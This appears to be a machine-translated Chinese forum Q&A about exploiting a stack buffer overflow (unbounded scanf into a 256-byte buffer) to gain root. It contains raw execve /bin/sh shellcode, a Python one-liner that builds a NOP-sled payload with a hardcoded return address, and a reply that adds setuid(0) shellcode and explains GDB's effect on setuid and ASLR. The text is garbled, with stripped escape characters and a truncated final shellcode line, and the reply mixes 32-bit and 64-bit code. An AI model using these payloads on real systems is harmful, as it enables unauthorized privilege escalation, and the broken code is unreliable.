我正在尝试利用具有root权限的易受攻击程序的权限提升。我为此尝试了shell代码,但我不知道我在哪里犯了错误。
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[]) {
char buf[256];
int len, i;
scanf("%s", buf);
len = strlen(buf);
printf("%sn", buf);
return 0;
}
缓冲区的地址从"0x7fffffffdfd0"开始。缓冲区的大小为 272 字节。我使用了以下 29 字节的外壳代码:
x6ax42x58xfexc4x48x99x52x48xbfx2fx62x69x6ex2fx2fx73x68x57x54x5ex49x89xd0x49x89xd2x0fx05
此外,我还对攻击场景使用了以下输入:
(python -c 'print x90"*243+"x6ax42x58xfexc4x48x99x52x48xbfx2fx62x69x6ex2fx2fx73x68x57x54x5ex49x89xd0x49x89xd2x0fx05"+"xd0xdfxffxffxffx7f"') > payload.txt
当我在GDB中使用"运行<有效负载.txt"运行程序时,Ido不会收到root访问权限。任何想法或解决方案将不胜感激。>
当我在 GDB 中使用"运行<有效负载.txt"运行程序时,我不会收到根访问权限。>
这是意料之中的:setuid 程序在ptrace
d 时(在调试器下运行时(不会从内核获得特殊权限。否则,就有可能劫持任何setuid程序(而不仅仅是易受攻击的程序(。
缓冲区的地址从"0x7fffffffdfd0"开始。
你怎么知道?您是否在GDB找到该地址?您是否禁用了 ASLR?
GDB 禁用 ASLR(为了使调试更容易 - 所有内容始终位于同一地址(。
如果未在系统范围内禁用 ASLR,则buffer
可能不会从 0x7fffffffdfd0
开始。
,用setuid(0)
添加你的外壳代码
"x31xdbx89xd8xb0x17xcdx80" // setuid(0)
修改后的外壳代码:
x31xdbx89xd8xb0x17xcdx80x6ax42x58xfexc4x48x99x52x48xbfx2fx62x69x6ex2fx2fx73x68x57x54x5ex49x89xd0x49x89xd2x0fx0